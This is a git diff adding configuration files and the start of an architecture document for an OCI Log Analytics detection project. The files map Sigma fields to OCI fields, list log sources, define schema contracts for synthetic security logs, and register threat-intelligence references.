EmailDirection: resource + RecipientEmailAddress: target + SenderFromAddress: subject + ClientRequestHost: network + ClientRequestMethod: network + ClientRequestPath: network + ClientRequestURI: network + ClientRequestUserAgent: network + ClientIP: network + DestinationIpAddress: network + DstIpAddr: network + DstIP: network + DstHostname: network + DestinationHostName: network + DestinationHostname: network + DestinationIP: network + DestinationIp: network + DestinationPort: network + Dvc: network + DvcHostname: network + DvcIpAddr: network + DeviceName: network + FileSize: network + HttpRequestHeaderHost: network + HttpStatusCode: network + HostName: network + HttpUserAgent: network + HttpRequestMethod: network + IPAddress: network + IpAddress: network + RequestMethod: network + RequestURL: network + RequestUrl: network + RemoteIP: network + RemoteUrl: network + RemotePort: network + ReportId: network + SourceIPAddress: network + SourceIpAddress: network + SourceIP: network + SourceIp: network + SourcePort: network + SrcIP: network + SrcIpAddr: network + URL: network + Url: network + UrlCategory: network + UrlOriginal: network + UserAgent: network + HttpUserAgentOriginal: network + WAFAction: network + WAFRuleID: network + WAFRuleMessage: network + DstPortNumber: network + data_request_headers_oci_original_url_s: network diff --git a/observability-and-management/assets/oci-log-analytics-detections/config/sigma_oci_mapping.yaml b/observability-and-management/assets/oci-log-analytics-detections/config/sigma_oci_mapping.yaml new file mode 100644 index 000000000..934fdd32a --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/config/sigma_oci_mapping.yaml @@ -0,0 +1,326 @@ +# Mapping from Sigma standardized fields to OCI Log Analytics fields +# Format: sigma_field: oci_field +# Multi-word OCL field names must be wrapped in single quotes: "'Field Name'" +# +# This file is the single source of truth for field translation between +# Sigma detection rules and OCI Log Analytics Query Language (OCL). + +field_mappings: + # ─── Common Fields ──────────────────────────────────────────── + user: User + src_ip: "'Client Host'" + dst_ip: "'Destination IP'" + action: Action + status: Status + hostname: "'Host Name'" + + # ─── OCI Audit Event Fields ────────────────────────────────── + event_type: "'Event Type'" + resource_id: ResourceIdentifier + resource_name: "'Resource Name'" + resource_type: "'Resource Type'" + # OCI Audit's parser exposes the API verb under ``HTTP Method``; the + # ``Request Action Type`` display name is reserved for the higher-level + # action verb (e.g. CREATE/UPDATE) and isn't searchable on the audit + # source. Use HTTP Method so `request_action: POST` filters work. + request_action: "'HTTP Method'" + compartment_name: "'Compartment Name'" + compartment_id: "'Compartment OCID'" + region: "'Region'" + principal_name: "'Principal Name'" + auth_type: "'Auth Type'" + + # ─── Network Fields ────────────────────────────────────────── + src_port: "'Source Port'" + dst_port: "'Destination Port'" + protocol: Protocol + + # ─── Payload / Generic ─────────────────────────────────────── + response_payload: "'Original Log Content'" + process_name: "'Process Name'" + message: msg + + # ─── Cloud Guard Fields ────────────────────────────────────── + problem_name: "'Problem Name'" + risk_level: "'Risk Level'" + detector_id: "'Detector ID'" + + # ─── Windows Sysmon / Security Fields ──────────────────────── + CommandLine: "'Command Line'" + Image: "'Process Name'" + ParentImage: "'Parent Process Name'" + ParentCommandLine: "'Parent Command Line'" + Hashes: Hashes + LogonId: "'Logon ID'" + TerminalSessionId: "'Terminal Session ID'" + IntegrityLevel: "'Integrity Level'" + User: User + TargetFilename: "'Target Filename'" + SourceFilename: "'Source Filename'" + command_line: "'Command Line'" + OriginalFileName: "'Original File Name'" + EventID: "'Event ID'" + Provider: "'Provider'" + Channel: "'Channel'" + + # ─── Sysmon Network Connection Fields (Event ID 3) ───────── + SourceImage: "'Source Process'" + TargetImage: "'Target Process'" + DestinationHostname: "'Destination Hostname'" + DestinationIp: "'Destination IP'" + DestinationPort: "'Destination Port'" + SourceIp: "'Source IP'" + SourcePort: "'Source Port'" + Protocol: Protocol + Initiated: Initiated + + # ─── Sysmon DNS Query Fields (Event ID 22) ──────────────── + QueryName: "'Query Name'" + QueryResults: "'Query Results'" + + # ─── Sysmon Named Pipe Fields (Event ID 17/18) ──────────── + PipeName: "'Pipe Name'" + + # ─── Windows Security / Event Log Fields ───────────────── + SubjectUserName: "'Subject User Name'" + TargetUserName: "'Target User Name'" + TargetDomainName: "'Target Domain Name'" + LogonType: "'Logon Type'" + ObjectName: "'Object Name'" + # OCI Log Analytics' Windows Security parser surfaces the new-process name + # under ``Process Name``, not ``New Process Name``. Map to the working field. + NewProcessName: "'Process Name'" + ServiceName: "'Service Name'" + ServiceFileName: "'Service File Name'" + # ``Target Server Name`` is NOT extracted by OCI's stock Windows Security + # parser. We keep the mapping for reference, but consumers should fall back + # to ``Subject User Name`` or drop the filter. + TargetServerName: "'Target Server Name'" + # Kerberos ticket details (events 4768/4769/4770) + TicketEncryptionType: "'Ticket Encryption Type'" + PrivilegeList: "'Privilege List'" + # Linux Auditd / lower-snake_case variants used by some hand-written rules + parent_process_name: "'Parent Process Name'" + ShareName: "'Share Name'" + RelativeTargetName: "'Relative Target Name'" + AccessMask: "'Access Mask'" + ObjectType: "'Object Type'" + Properties: "'Properties'" + TargetObject: "'Target Object'" + Details: Details + + # ─── Sysmon Registry Fields (Event ID 12/13/14) ───────── + EventType: "'Event Type'" + TargetImage: "'Target Process'" + + # ─── MITRE ATT&CK Metadata ──────────────────────────────── + RuleName: RuleName + TechniqueName: "'Technique Name'" + TechniqueId: "'Technique ID'" + + # ─── WAF / Web Application Fields ────────────────────────────── + # OCI WAF log fields (from OCI Logging → Log Analytics) + waf_action: "'Action'" + http_method: "'HTTP Method'" + request_url: "'Request URL'" + uri_path: "'URI Path'" + query_string: "'Query String'" + client_address: "'Client IP'" + country_code: "'Country Code'" + user_agent: "'User Agent'" + response_code: "'Response Code'" + rule_type: "'Rule Type'" + rule_key: "'Rule Key'" + rule_action: "'Rule Action'" + request_body: "'Request Body'" + content_type: "'Content Type'" + referrer: "'Referrer'" + request_headers: "'Request Headers'" + waf_policy: "'WAF Policy'" + threat_feeds: "'Threat Feeds'" + fingerprint: "'Fingerprint'" + + # ─── Load Balancer Access Log Fields ──────────────────────────── + backend_address: "'Backend Address'" + backend_status_code: "'Backend Status Code'" + bytes_received: "'Bytes Received'" + bytes_sent: "'Bytes Sent'" + request_processing_time: "'Request Processing Time'" + lb_name: "'Load Balancer Name'" + listener_name: "'Listener Name'" + backend_name: "'Backend Name'" + + # ─── Web Application Log Fields ──────────────────────────────── + app_name: "'Application Name'" + attack_type: "'Attack Type'" + attack_payload: "'Attack Payload'" + vulnerability_id: "'Vulnerability ID'" + session_id: "'Session ID'" + owasp_category: "'OWASP Category'" + request_id: "'Request ID'" + + # ─── APM / OpenTelemetry Fields ─────────────────────────────────── + SpanName: "'Span Name'" + SpanKind: "'Span Kind'" + HttpUrl: "'Request URL'" + HTTP_URL: "'Request URL'" + HttpMethod: "'HTTP Method'" + HTTP_Method: "'HTTP Method'" + HttpStatusCode: "'Response Code'" + HTTP_Status_Code: "'Response Code'" + UserAgent: "'User Agent'" + trace_id: "'Trace ID'" + span_id: "'span_id'" + Duration: Duration + Error: Error + Span_Name: "'Span Name'" + Span_Attributes: "'Span Attributes'" + Session_ID: "'Session ID'" + Source_IP: "'Client IP'" + Content_Type: "'Content Type'" + Response_Headers: "'Response Headers'" + Referer: "'Referrer'" + + # ─── Sysmon Process Access Fields (Event ID 10) ─────────────────── + GrantedAccess: "'Granted Access'" + CallTrace: "'Call Trace'" + +logsource_mappings: + # Sigma Category/Product -> ordered OCI Log Source candidates. + # Converter emits a query filter that matches any listed source. + # + # Strategy: + # - Prefer native OCI sources where they exist and are data-rich. + # - Keep SOC custom sources as fallback for compatibility. + # - Linux detections keep SOC-first because there is no single native + # equivalent that matches the SOC Linux Syslog pattern coverage. + + # OCI Audit (native) + oci_audit: + - OCI Audit Logs + + # Cloud Guard (native-first, SOC fallback) + oci_cloud_guard: + - OCI Cloud Guard Problems + - OCI Cloud Guard Logs + - SOC Cloud Guard Logs + + # Linux (SOC-first, then native alternatives) + linux_audit: + - SOC Linux Syslog Logs + - Linux Secure Logs + - Linux Syslog Logs + - Linux Audit Logs + linux_auditd: + - SOC Linux Syslog Logs + - Linux Secure Logs + - Linux Syslog Logs + - Linux Audit Logs + linux_auth: + - SOC Linux Syslog Logs + - Linux Secure Logs + - Linux Syslog Logs + - Linux Audit Logs + linux_syslog: + - SOC Linux Syslog Logs + - Linux Secure Logs + - Linux Syslog Logs + - Linux Audit Logs + + # Windows Sysmon/process creation (native-first, SOC fallback) + windows_process_creation: + - Windows Sysmon Events + - Windows Sysmon Operational Logs + - SOC Windows Sysmon Logs + windows_sysmon: + - Windows Sysmon Events + - Windows Sysmon Operational Logs + - SOC Windows Sysmon Logs + windows_event: + - Windows Sysmon Events + - Windows Sysmon Operational Logs + - SOC Windows Sysmon Logs + windows_security: + - Windows Security Events + - Windows Event Security Logs + + # Sysmon Network Connection (Event ID 3) + windows_network_connection: + - Windows Sysmon Events + - Windows Sysmon Operational Logs + - SOC Sysmon Network Logs + - SOC Windows Sysmon Logs + + # Sysmon DNS Query (Event ID 22) + windows_dns_query: + - Windows Sysmon Events + - Windows Sysmon Operational Logs + - SOC Windows Sysmon Logs + + # Sysmon Named Pipe (Event ID 17/18) + windows_pipe_created: + - Windows Sysmon Events + - Windows Sysmon Operational Logs + - SOC Windows Sysmon Logs + + # Sysmon File Creation (Event ID 11) + windows_file_creation: + - Windows Sysmon Events + - Windows Sysmon Operational Logs + - SOC Windows Sysmon Logs + + # Sysmon Registry Event (Event ID 12/13/14) + windows_registry_event: + - Windows Sysmon Events + - Windows Sysmon Operational Logs + - SOC Windows Sysmon Logs + + # Sysmon Image Loaded (Event ID 7) + windows_image_load: + - Windows Sysmon Events + - Windows Sysmon Operational Logs + - SOC Windows Sysmon Logs + + # Linux process creation (maps to syslog-based detection) + linux_process_creation: + - SOC Linux Syslog Logs + - Linux Secure Logs + - Linux Syslog Logs + - Linux Audit Logs + + # ─── OCI WAF Security Logs ───────────────────────────────────── + # WAF logs from OCI WAF → OCI Logging → Log Analytics + oci_waf: + - OCI WAF Logs + - SOC WAF Security Logs + webserver_waf: + - OCI WAF Logs + - SOC WAF Security Logs + + # ─── Load Balancer Access Logs ────────────────────────────────── + oci_loadbalancer: + - OCI Load Balancer Access Logs + - SOC Load Balancer Access Logs + webserver_access: + - OCI Load Balancer Access Logs + - SOC Load Balancer Access Logs + + # ─── Web Application Logs ────────────────────────────────────── + oci_webapp: + - SOC Web Application Logs + - OCI Load Balancer Access Logs + webserver: + - OCI Load Balancer Access Logs + - SOC Web Application Logs + + # ─── APM / OpenTelemetry Application Logs ──────────────────── + oci_apm: + - SOC Application Logs + opentelemetry_apm: + - SOC Application Logs + + # ─── Sysmon Process Access (Event ID 10) ───────────────────── + windows_process_access: + - Windows Sysmon Events + - Windows Sysmon Operational Logs + - SOC Windows Sysmon Logs diff --git a/observability-and-management/assets/oci-log-analytics-detections/config/streaming_config.json b/observability-and-management/assets/oci-log-analytics-detections/config/streaming_config.json new file mode 100644 index 000000000..624817d55 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/config/streaming_config.json @@ -0,0 +1,39 @@ +{ + "soc-detection-oci-audit": { + "stream_id": "", + "messages_endpoint": "https://cell-1.streaming.eu-frankfurt-1.oci.oraclecloud.com", + "log_source": "OCI Audit Logs" + }, + "soc-detection-cloud-guard": { + "stream_id": "", + "messages_endpoint": "https://cell-1.streaming.eu-frankfurt-1.oci.oraclecloud.com", + "log_source": "OCI Cloud Guard Problems" + }, + "soc-detection-linux-audit": { + "stream_id": "", + "messages_endpoint": "https://cell-1.streaming.eu-frankfurt-1.oci.oraclecloud.com", + "log_source": "SOC Linux Syslog Logs" + }, + "soc-detection-windows-sysmon": { + "stream_id": "", + "messages_endpoint": "https://cell-1.streaming.eu-frankfurt-1.oci.oraclecloud.com", + "log_source": "SOC Windows Sysmon Logs" + }, + "soc-detection-multicloud-health": { + "stream_id": "", + "messages_endpoint": "https://cell-1.streaming.eu-frankfurt-1.oci.oraclecloud.com", + "log_source": "SOC Multicloud Health Logs" + }, + "_metadata": { + "log_group_id": "", + "la_namespace": "", + "compartment_id": "", + "connector_summary": { + "expected": 5, + "active": 5, + "pending": 0, + "degraded": 0, + "failed": 0 + } + } +} diff --git a/observability-and-management/assets/oci-log-analytics-detections/config/synthetic_log_contracts.json b/observability-and-management/assets/oci-log-analytics-detections/config/synthetic_log_contracts.json new file mode 100644 index 000000000..d3217dfd5 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/config/synthetic_log_contracts.json @@ -0,0 +1,628 @@ +{ + "oci_audit.jsonl": { + "description": "OCI Audit events must preserve the official event envelope shape used by tenancy audit logs.", + "required_fields": [ + "eventType", + "eventTime", + "data", + "oracle" + ], + "required_nested_fields": [ + "data.compartmentId", + "data.identity.principalName", + "data.identity.ipAddress", + "data.request.action", + "data.response.status", + "oracle.compartmentid", + "oracle.tenantid" + ], + "field_patterns": { + "eventTime": "^\\d{4}-\\d{2}-\\d{2}T", + "data.resourceId": "^ocid1\\.", + "data.identity.ipAddress": "^\\d{1,3}(?:\\.\\d{1,3}){3}$" + }, + "minimum_events": 50, + "sample_dir": "test_data/contracts/oci_audit" + }, + "cloud_guard.jsonl": { + "description": "Cloud Guard events should expose problem metadata compatible with OCI LA problem queries.", + "required_fields": [ + "problemId", + "problemName", + "resourceId", + "resourceName", + "riskLevel", + "timeFirstDetected" + ], + "field_patterns": { + "problemId": "^[0-9a-f-]{36}$", + "resourceId": "^ocid1\\.", + "timeFirstDetected": "^\\d{4}-\\d{2}-\\d{2}T" + }, + "minimum_events": 10 + }, + "cloud_guard_instance_security.jsonl": { + "description": "Cloud Guard Instance Security (osquery host-agent) findings must keep the osquery/pack/MITRE envelope the SOC custom parser and host-security detections depend on.", + "required_fields": [ + "timestamp", + "message", + "hostname", + "instanceOcid", + "region", + "riskLevel", + "severity", + "status", + "findingId", + "findingName", + "problemId", + "ruleId", + "logType" + ], + "required_nested_fields": [ + "osquery.query", + "osquery.sql", + "pack.name", + "pack.query_id", + "mitre.technique_id" + ], + "field_patterns": { + "timestamp": "^\\d{4}-\\d{2}-\\d{2}T", + "instanceOcid": "^ocid1\\.instance\\.", + "logType": "^cloud_guard_instance_security$", + "riskLevel": "^(LOW|MEDIUM|HIGH|CRITICAL)$" + }, + "minimum_events": 4 + }, + "linux_syslog.jsonl": { + "description": "Linux syslog events should expose the SOC parser fields used by Linux detections.", + "required_fields": [ + "Timestamp", + "Hostname", + "Process", + "PID", + "Facility", + "Severity", + "msg" + ], + "field_patterns": { + "Timestamp": "^\\d{4}-\\d{2}-\\d{2}T", + "Hostname": "^[A-Za-z0-9._-]+$" + }, + "minimum_events": 100 + }, + "windows_sysmon.jsonl": { + "description": "Windows Sysmon process events should expose process and parent context fields used by Sigma-derived detections.", + "required_fields": [ + "EventID", + "TimeCreated", + "Image", + "CommandLine", + "ParentImage", + "Computer" + ], + "field_patterns": { + "EventID": "^\\d+$", + "Image": "^[A-Za-z]:\\\\" + }, + "minimum_events": 50 + }, + "windows_event_security.jsonl": { + "description": "Windows Security Event logs should keep both native and OCI LA mapped fields for SOC and multicloud widgets.", + "required_fields": [ + "Event", + "Event ID", + "EventID", + "TimeCreated", + "Computer", + "User", + "msg" + ], + "required_nested_fields": [ + "Event.System.Provider.Name", + "Event.System.EventID", + "Event.System.TimeCreated.SystemTime", + "Event.EventData.Data" + ], + "field_patterns": { + "EventID": "^\\d+$", + "Computer": "^[A-Za-z0-9._-]+$" + }, + "minimum_events": 50 + }, + "windows_event_system.jsonl": { + "description": "Windows System Event logs should expose service-centric fields.", + "required_fields": [ + "Event", + "Event ID", + "EventID", + "TimeCreated", + "Computer", + "ServiceName", + "msg" + ], + "required_nested_fields": [ + "Event.System.Provider.Name", + "Event.System.EventID", + "Event.System.TimeCreated.SystemTime", + "Event.EventData.Data" + ], + "field_patterns": { + "EventID": "^\\d+$" + }, + "minimum_events": 10 + }, + "windows_powershell_operational.jsonl": { + "description": "PowerShell Operational events should preserve script-block fields and parser aliases used by Event ID 4104 detections.", + "required_fields": [ + "Event", + "Event ID", + "EventID", + "TimeCreated", + "Computer", + "Channel", + "Provider", + "ScriptBlockText", + "Script Block Text", + "HostApplication", + "Host Application", + "msg" + ], + "required_nested_fields": [ + "Event.System.Provider.Name", + "Event.System.EventID", + "Event.System.TimeCreated.SystemTime", + "Event.EventData.Data" + ], + "field_patterns": { + "EventID": "^\\d+$", + "Channel": "^Microsoft-Windows-PowerShell/Operational$", + "Provider": "^Microsoft-Windows-PowerShell$" + }, + "minimum_events": 2 + }, + "windows_defender_operational.jsonl": { + "description": "Windows Defender Operational events should expose malware, action, status, and file metadata for Defender OOTB detections.", + "required_fields": [ + "Event", + "Event ID", + "EventID", + "TimeCreated", + "Computer", + "Channel", + "Provider", + "ThreatName", + "Threat Name", + "Action", + "Status", + "File Path", + "msg" + ], + "required_nested_fields": [ + "Event.System.Provider.Name", + "Event.System.EventID", + "Event.System.TimeCreated.SystemTime", + "Event.EventData.Data" + ], + "field_patterns": { + "EventID": "^\\d+$", + "Channel": "^Microsoft-Windows-Windows Defender/Operational$", + "Provider": "^Microsoft-Windows-Windows Defender$" + }, + "minimum_events": 3 + }, + "linux_secure.jsonl": { + "description": "Linux secure/auth logs should expose auth metadata and mapped OCI fields.", + "required_fields": [ + "EndpointOS", + "Timestamp", + "Hostname", + "Process", + "SourceIP", + "User", + "AuthMethod", + "msg" + ], + "field_patterns": { + "EndpointOS": "^Linux$", + "SourceIP": "^\\d{1,3}(?:\\.\\d{1,3}){3}$" + }, + "minimum_events": 50 + }, + "sysmon_operational.jsonl": { + "description": "Sysmon Operational events should include both native and mapped process/network context.", + "required_fields": [ + "Event", + "EndpointOS", + "EventID", + "TimeCreated", + "Computer", + "SourceImage", + "CommandLine", + "msg" + ], + "required_nested_fields": [ + "Event.System.Provider.Name", + "Event.System.EventID", + "Event.System.TimeCreated.SystemTime", + "Event.EventData.Data" + ], + "field_patterns": { + "EndpointOS": "^Windows$", + "EventID": "^\\d+$" + }, + "minimum_events": 50 + }, + "sysmon_network.jsonl": { + "description": "Sysmon Event ID 3 network logs should include the network tuple used by beaconing and exfiltration detections.", + "required_fields": [ + "@timestamp", + "EventID", + "Computer", + "Image", + "Protocol", + "DestinationIp", + "DestinationPort", + "SourceIp", + "SourcePort" + ], + "field_patterns": { + "EventID": "^3$", + "DestinationIp": "^\\d{1,3}(?:\\.\\d{1,3}){3}$", + "SourceIp": "^\\d{1,3}(?:\\.\\d{1,3}){3}$" + }, + "minimum_events": 50 + }, + "waf_security.jsonl": { + "description": "WAF security logs should expose request metadata, action, and rule attributes.", + "required_fields": [ + "timeCreated", + "action", + "requestUrl", + "clientAddress", + "responseCode", + "type", + "protectionRuleKey" + ], + "field_patterns": { + "timeCreated": "^\\d{4}-\\d{2}-\\d{2}T", + "clientAddress": "^\\d{1,3}(?:\\.\\d{1,3}){3}$", + "responseCode": "^\\d{3}$" + }, + "minimum_events": 20 + }, + "lb_access.jsonl": { + "description": "Load Balancer access logs should keep request, user agent, and backend timing fields.", + "required_fields": [ + "timeCreated", + "httpMethod", + "requestUrl", + "clientAddress", + "statusCode", + "userAgent" + ], + "field_patterns": { + "timeCreated": "^\\d{4}-\\d{2}-\\d{2}T", + "clientAddress": "^\\d{1,3}(?:\\.\\d{1,3}){3}$" + }, + "minimum_events": 50 + }, + "webapp_security.jsonl": { + "description": "Web application security logs should expose the attack taxonomy used by OWASP detections.", + "required_fields": [ + "timestamp", + "appName", + "attackType", + "owaspCategory", + "clientAddress", + "requestUrl", + "statusCode" + ], + "field_patterns": { + "timestamp": "^\\d{4}-\\d{2}-\\d{2}T", + "clientAddress": "^\\d{1,3}(?:\\.\\d{1,3}){3}$", + "statusCode": "^\\d{3}$" + }, + "minimum_events": 10 + }, + "application_logs.jsonl": { + "description": "Application and browser telemetry should expose the SOC Application Logs contract used by App 360 and browser detections.", + "required_fields": [ + "timestamp", + "serviceName", + "service.name", + "service.namespace", + "service.version", + "service.instance.id", + "deployment.environment", + "app.name", + "app.runtime", + "traceId", + "trace_id", + "span_id", + "oracleApmTraceId", + "oracleApmSpanId", + "traceparent", + "requestUrl", + "request_id", + "workflow_id", + "workflow_step", + "http.method", + "http.request.method", + "http.url.path", + "http.status_code", + "http.response_time_ms", + "statusCode", + "clientAddress", + "spanName", + "spanId", + "parentSpanId", + "spanKind", + "apmDomain", + "metricName", + "metricValue", + "metricUnit", + "severity", + "message" + ], + "field_patterns": { + "timestamp": "^\\d{4}-\\d{2}-\\d{2}T", + "traceId": "^trace_", + "trace_id": "^trace_", + "oracleApmTraceId": "^trace_", + "spanId": "^span_", + "span_id": "^span_", + "oracleApmSpanId": "^span_", + "statusCode": "^\\d{3}$", + "http.status_code": "^\\d{3}$", + "clientAddress": "^\\d{1,3}(?:\\.\\d{1,3}){3}$" + }, + "minimum_events": 25, + "required_values": { + "serviceName": [ + "enterprise-crm-portal", + "octo-drone-shop", + "octo-apm-demo" + ], + "service.namespace": [ + "octo" + ], + "workflow_id": [ + "checkout", + "auth", + "admin-threat-simulation" + ], + "security.attack.id": [ + "attack-octo-demo-001" + ], + "security.attack.stage": [ + "vm_compromise", + "payment_interception", + "payment_redirect", + "exfiltration" + ], + "payment.redirect.detected": [ + true + ], + "payment.interception.detected": [ + true + ], + "vm.compromised": [ + true + ], + "oci.api_gateway.action": [ + "allow" + ], + "oci.api_gateway.policy.decision": [ + "suspicious_burst_observed" + ] + }, + "sample_dir": "test_data/contracts/application_logs" + }, + "vcn_flow.jsonl": { + "description": "VCN Flow Logs should preserve the OCI event envelope and nested data fields while exposing SOC parser aliases for network drilldowns.", + "required_fields": [ + "datetime", + "specversion", + "time", + "type", + "data", + "oracle", + "Log Source", + "Source IP", + "Destination IP", + "Bytes Sent" + ], + "required_nested_fields": [ + "data.srcaddr", + "data.dstaddr", + "data.srcport", + "data.dstport", + "data.protocol", + "data.action", + "data.bytesOut", + "data.sourceAddress", + "data.destinationAddress", + "oracle.compartmentid", + "oracle.tenantid" + ], + "field_patterns": { + "time": "^\\d{4}-\\d{2}-\\d{2}T", + "type": "^com\\.oraclecloud\\.vcn\\.flowlogs\\.", + "Log Source": "^SOC VCN Flow Logs$", + "Source IP": "^\\d{1,3}(?:\\.\\d{1,3}){3}$", + "Destination IP": "^\\d{1,3}(?:\\.\\d{1,3}){3}$" + }, + "minimum_events": 10 + }, + "network_firewall.jsonl": { + "description": "Network Firewall logs should preserve the OCI logContent envelope and expose traffic/threat fields used by C2 and exfiltration widgets.", + "required_fields": [ + "datetime", + "logContent", + "Log Source", + "Source IP", + "Destination IP", + "Bytes Sent", + "Action" + ], + "required_nested_fields": [ + "logContent.data.log_type", + "logContent.data.action", + "logContent.data.src_ip", + "logContent.data.dst_ip", + "logContent.data.src_port", + "logContent.data.dst_port", + "logContent.data.bytes_sent", + "logContent.data.threat_name", + "logContent.oracle.compartmentid", + "logContent.oracle.tenantid" + ], + "field_patterns": { + "Log Source": "^SOC Network Firewall Logs$", + "Source IP": "^\\d{1,3}(?:\\.\\d{1,3}){3}$", + "Destination IP": "^\\d{1,3}(?:\\.\\d{1,3}){3}$" + }, + "minimum_events": 10 + }, + "multicloud_health.jsonl": { + "description": "Multicloud heartbeat logs should cover OCI, Azure, AWS, and GCP with provider-specific instance IDs and health metrics.", + "required_fields": [ + "Timestamp", + "Cloud Provider", + "Region", + "Region Display", + "Latitude", + "Longitude", + "Instance ID", + "Host Name", + "Status", + "Heartbeat Sequence", + "Log Source" + ], + "field_patterns": { + "Timestamp": "^\\d{4}-\\d{2}-\\d{2}T", + "Log Source": "^SOC Multicloud Health Logs$" + }, + "required_values": { + "Cloud Provider": [ + "OCI", + "Azure", + "AWS", + "GCP" + ] + }, + "conditional_patterns": [ + { + "when": { + "Cloud Provider": "OCI" + }, + "field_patterns": { + "Instance ID": "^ocid1\\.instance\\." + } + }, + { + "when": { + "Cloud Provider": "Azure" + }, + "field_patterns": { + "Instance ID": "^/subscriptions/.+/virtualMachines/" + } + }, + { + "when": { + "Cloud Provider": "AWS" + }, + "field_patterns": { + "Instance ID": "^i-[0-9a-f]{17}$" + } + }, + { + "when": { + "Cloud Provider": "GCP" + }, + "field_patterns": { + "Instance ID": "^projects/.+/zones/.+/instances/" + } + } + ], + "minimum_events": 100 + }, + "octo_apm_workshop_application_logs.jsonl": { + "description": "Octo APM workshop telemetry shares the SOC Application Logs trace/span envelope used by the App 360 and workshop dashboards. This is an optional demo dataset emitted by octo_apm_workshop.py --generate-data.", + "required_fields": [ + "timestamp", + "serviceName", + "traceId", + "spanId", + "requestUrl", + "statusCode", + "clientAddress", + "spanName", + "message" + ], + "field_patterns": { + "timestamp": "^\\d{4}-\\d{2}-\\d{2}T", + "traceId": "^trace_", + "spanId": "^span_", + "statusCode": "^\\d{3}$", + "clientAddress": "^\\d{1,3}(?:\\.\\d{1,3}){3}$" + }, + "required_values": { + "serviceName": [ + "enterprise-crm-portal", + "octo-drone-shop", + "octo-apm-demo" + ] + }, + "minimum_events": 25, + "optional": true + }, + "genai_gateway.jsonl": { + "description": "SOC GenAI Gateway logs expose LLM/AI-gateway telemetry used by the MITRE ATLAS detections (prompt/completion, guardrail decision, model provenance, ATLAS technique tagging).", + "required_fields": [ + "timestamp", + "message", + "service", + "host", + "client_ip", + "http", + "trace_id", + "span_id", + "genai", + "security", + "atlas", + "mitre" + ], + "required_nested_fields": [ + "service.name", + "http.method", + "http.path", + "http.status_code", + "genai.request_id", + "genai.identity", + "genai.api_key_id", + "genai.provider", + "genai.model", + "genai.endpoint", + "genai.operation", + "genai.decision", + "genai.prompt_tokens", + "genai.completion_tokens", + "genai.total_tokens", + "genai.guardrail.action", + "genai.guardrail.category", + "genai.prompt_risk_score", + "genai.injection_detected", + "genai.jailbreak_detected", + "genai.data_leak_detected", + "atlas.tactic", + "atlas.technique_id", + "mitre.technique_id", + "security.severity" + ], + "field_patterns": { + "timestamp": "^\\d{4}-\\d{2}-\\d{2}T" + }, + "minimum_events": 50 + } +} diff --git a/observability-and-management/assets/oci-log-analytics-detections/config/threat_intel_sources.json b/observability-and-management/assets/oci-log-analytics-detections/config/threat_intel_sources.json new file mode 100644 index 000000000..2834cd5cc --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/config/threat_intel_sources.json @@ -0,0 +1,68 @@ +{ + "version": "1.0", + "sources": [ + { + "id": "sigmahq", + "name": "SigmaHQ", + "type": "sigma_rules", + "url": "https://github.com/SigmaHQ/sigma", + "license": "SigmaHQ repository license applies", + "intake_mode": "local_checkout_or_sync_script", + "promotion_policy": "metadata_only_until_reviewed" + }, + { + "id": "cisa_kev", + "name": "CISA Known Exploited Vulnerabilities Catalog", + "type": "advisory_catalog", + "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", + "license": "public_advisory_metadata", + "intake_mode": "curated_reference", + "promotion_policy": "derive detections only after OCI telemetry review" + }, + { + "id": "vendor_incident_reports", + "name": "Vendor Incident Reports", + "type": "incident_report", + "url": "", + "license": "source_specific", + "intake_mode": "curated_reference", + "promotion_policy": "do not copy proprietary rule logic; capture attribution" + }, + { + "id": "elastic_detection_rules", + "name": "Elastic Detection Rules", + "type": "rule_reference", + "url": "https://github.com/elastic/detection-rules", + "license": "Elastic repository license applies", + "intake_mode": "coverage_gap_reference", + "promotion_policy": "metadata_only_until_reviewed" + }, + { + "id": "splunk_security_content", + "name": "Splunk Security Content", + "type": "rule_reference", + "url": "https://github.com/splunk/security_content", + "license": "Splunk repository license applies", + "intake_mode": "curated_reference", + "promotion_policy": "metadata_only_until_reviewed" + }, + { + "id": "microsoft_sentinel", + "name": "Microsoft Sentinel Detections", + "type": "rule_reference", + "url": "https://github.com/Azure/Azure-Sentinel", + "license": "Microsoft repository license applies", + "intake_mode": "curated_reference", + "promotion_policy": "metadata_only_until_reviewed" + }, + { + "id": "internal_workshop_scenarios", + "name": "Internal Curated Workshop Scenarios", + "type": "workshop_scenario", + "url": "", + "license": "owned", + "intake_mode": "curated_reference", + "promotion_policy": "can promote after local and CAP validation" + } + ] +} diff --git a/observability-and-management/assets/oci-log-analytics-detections/docs/ARCHITECTURE.md b/observability-and-management/assets/oci-log-analytics-detections/docs/ARCHITECTURE.md new file mode 100644 index 000000000..61006a013 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/docs/ARCHITECTURE.md @@ -0,0 +1,290 @@ +# OCI Log Analytics Detections Architecture + +Date: 2026-05-14 + +## Purpose + +This repository is organized around OCI Log Analytics query and dashboard creation: + +1. Author portable detections as Sigma YAML under `rules/` +2. Convert source rules into OCI Log Analytics query JSON +3. Convert supported Microsoft Sentinel KQL into Logan QL and promote only live-validated queries +4. Layer curated app, WAF, geographic health, and hunting analytics beside the generated detections +5. Generate synthetic logs that populate the Log Analytics dashboards +6. Validate every dashboard query before importing dashboards or embedded saved searches +7. Publish canonical inventory artifacts for `webapp/` and downstream readers + +The goal is to keep source authoring, generated content, and deployment metadata separate so the project stays maintainable as the catalog grows. + +One important detail for the current shipping implementation: browser and application detections do not query native OCI APM entities directly. They run against `SOC Application Logs`, a custom OCI Log Analytics JSON source whose schema is intentionally shaped like OpenTelemetry/browser telemetry but expressed using OCI LA display names. + +## Canonical Content Surfaces + +| Path | Type | Count | Notes | +|------|------|-------|-------| +| `rules/**` | Source Sigma/YAML authoring layer | 454 | Source of truth for source-derived detections | +| `queries/*.json` | Generated top-level OCI detection queries | 468 | Produced by `scripts/convert_sigma.py` | +| `queries/apps/*.json` | App telemetry query surface | 55 | 8 Sigma-derived browser detections + 47 curated app/APM analytics | +| `queries/hunting/*.json` | Curated hunting analytics | 95 | Frequency, anomaly, scoring, incident, and correlation content | +| `queries/sentinel/*.json` | Microsoft Sentinel converted queries | 60 | Produced by `scripts/sentinel_conversion_workflow.py`; live OCI parser-passing only | +| `queries/catalog.json` | Canonical machine-readable inventory | 1 | Use this for published counts and 